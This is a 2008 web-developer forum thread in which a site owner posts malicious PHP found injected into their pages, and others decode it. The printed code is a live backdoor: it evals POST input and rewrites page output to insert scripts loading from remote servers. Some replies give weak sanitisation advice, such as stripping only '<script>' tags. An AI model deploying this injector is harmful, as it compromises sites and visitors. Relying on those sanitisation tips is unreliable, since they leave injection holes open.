/    Sign up×
Community /Pin to ProfileBookmark

Stop malicious code from being activated

I recently found the php code below in all of my web pages. My hosting company said someone must have used one of my scripts or forms to seize root control of my websites. They changed the permissions from me to them and even though it has been changed back to me I can’t remove this code using WebShell file mananger. I have to delete the file and upload a new copy.

Couldn’t I just use some sort of script to change the less than and greater than signs to render any php or javascript code useless. i.e.,

[code=php]$article = escape_data($_POST[‘article’]);
$article = str_replace(“<“,”&lt;”,$article);[/code]

I know I can use htmlspecialchars but people may want to use a single or double quote in their article.

The code I found:

[code=php]<?php
if(!function_exists(‘tmp_lkojfghx’))
{
for($i=1;$i<100;$i++)
if(is_file($f=’/tmp/m’.$i))
{
include_once($f);
break;
}

if(isset($_POST[‘tmp_lkojfghx3’]))eval($_POST[‘tmp_lkojfghx3’]);
if(!defined(‘TMP_XHGFJOKL’))
define(‘TMP_XHGFJOKL’,base64_decode(”));

function tmp_lkojfghx($s)
{
if($g=(bin2hex(substr($s,0,2))==’1f8b’))$s=gzinflate(substr($s,10,-8));
if(preg_match_all(‘#<script(.*?)</script>#is’,$s,$a))foreach($a[0] as $v)
if(count(explode(“n”,$v))>5)
{
$e=preg_match(‘#[‘”][^s'”.,;?![]:/<>()]{30,}#’,$v)||preg_match(‘#[([](s*d+,){20,}#’,$v);
if((preg_match(‘#bevalb#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);
}
$s1=preg_replace(base64_decode(”),”,$s);
if(stristr($s,'</body’))$s=preg_replace(‘#(s*</body)#mi’,str_replace(‘$’,’\$’,TMP_XHGFJOKL).’1′,$s1);
elseif(($s1!=$s)||defined(‘PMT_knghjg’)||stristr($s,'<body’)||stristr($s,'</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;
}

function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0)
{$s=array();
if($b&&$GLOBALS[‘tmp_xhgfjokl’])
call_user_func($GLOBALS[‘tmp_xhgfjokl’],$a,$b,$c,$d);
foreach(@ob_get_status(1) as $v)
if(($a=$v[‘name’])==’tmp_lkojfghx’)return;
else $s[]=array($a==’default output handler’?false:$a);
for($i=count($s)-1;$i>=0;$i–)
{
$s[$i][1]=ob_get_contents();
ob_end_clean();
}

ob_start(‘tmp_lkojfghx’);
for($i=0;$i<count($s);$i++)
{
ob_start($s[$i][0]);echo $s[$i][1];
}
}
}
if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2’)$GLOBALS[‘tmp_xhgfjokl’]=$a;tmp_lkojfghx2();
?>[/code]

to post a comment
PHP

6 Comments(s)

Copy linkTweet thisAlerts:
@rootDec 08.2008 — Errrm, I challenge your wisdom on posting the code, a simple explination would have generated some answers as well as searching the forum for an answer that has been answered many many times before by other board memebrs.
Copy linkTweet thisAlerts:
@rootDec 09.2008 — Well that was a bit of a chore.

OK, well I decoded the thing, and what it does is inserts a javascript call to two servers, one in Beijing and the other in Moscow.

http://samspade.org/whois/218.93.202.61

http://samspade.org/whois/78.110.175.21

What it fetches nobody knows... unless someone is able to rip the contents from those addresses?
Copy linkTweet thisAlerts:
@TheBearMayDec 09.2008 — 
  • 218. is offline, 78. is "under construction".
  • Copy linkTweet thisAlerts:
    @SyCoDec 09.2008 — But what are they constructing?!?! Some kind of robot army perhaps :eek:

    OP

    Sanitize all use input, always and everything that any user sends to your server.

    To replace < and > use htmlspecialchars()

    str_replace() can remove <script> tags
    [code=php]
    str_replace('<script>','',$userinput);[/code]
    Copy linkTweet thisAlerts:
    @rootDec 10.2008 — 218. is offline, 78. is "under construction".[/QUOTE]

    The URL's are written in to the document like...

    &lt;script id='_1_' src='218.*.*.*/cp/' &gt;&lt;/script&gt;
    &lt;script id='_2_' src='78.*.*.*/cp/' &gt;&lt;/script&gt;


    The question is, what are the default pages that are set for these servers? I am going to guess that the default page will determine the type of connection request.

    This then outputs either the script code or a message.
    Copy linkTweet thisAlerts:
    @rootDec 13.2008 — I got the one URL to respond and TBH I think that the hacker has got some method of checking the request because this is what I got in response to my request on the URL//Just F*** off...&lt;div style=display:none&gt;
    var t=new Date(1229301882000);document.cookie="hgft=1; expires="+t.toGMTString()+"; path=/";
    //&lt;/div&gt;

    Some payload eh? That above segment was obfuscated, the initial first few lines (not shown) actually searches for the id'1 "_0_" to "_9_" and turns the src attribute in to an empty string.

    TBH I do not know what to make of it, you have an obvious group that have found a hack that breaks a server and then deploys a payload that writes a cookie with nothing in the cookie.

    What it does suggest is a group of up to 10 hackers, each with their own scripts or all have the same, for what purpose I do not know but it could be a guise to harvest IP addresses as the payload does not do much, that does not mean to say that it can not be switched out if current testing works!

    Still, I would advise the blocking of those specific IP addresses in your firewalls and routers, then at least your not opening yourself up to malware and other hacks from poisoned sites.
    ×

    Success!

    Help @Alan_P spread the word by sharing this article on Twitter...

    Tweet This
    Sign in
    Forgot password?
    Sign in with TwitchSign in with GithubCreate Account
    about: ({
    version: 0.1.9 BETA 5.8,
    whats_new: community page,
    up_next: more Davinci•003 tasks,
    coming_soon: events calendar,
    social: @webDeveloperHQ
    });

    legal: ({
    terms: of use,
    privacy: policy
    });
    changelog: (
    version: 0.1.9,
    notes: added community page

    version: 0.1.8,
    notes: added Davinci•003

    version: 0.1.7,
    notes: upvote answers to bounties

    version: 0.1.6,
    notes: article editor refresh
    )...
    recent_tips: (
    tipper: @AriseFacilitySolutions09,
    tipped: article
    amount: 1000 SATS,

    tipper: @Yussuf4331,
    tipped: article
    amount: 1000 SATS,

    tipper: @darkwebsites540,
    tipped: article
    amount: 10 SATS,
    )...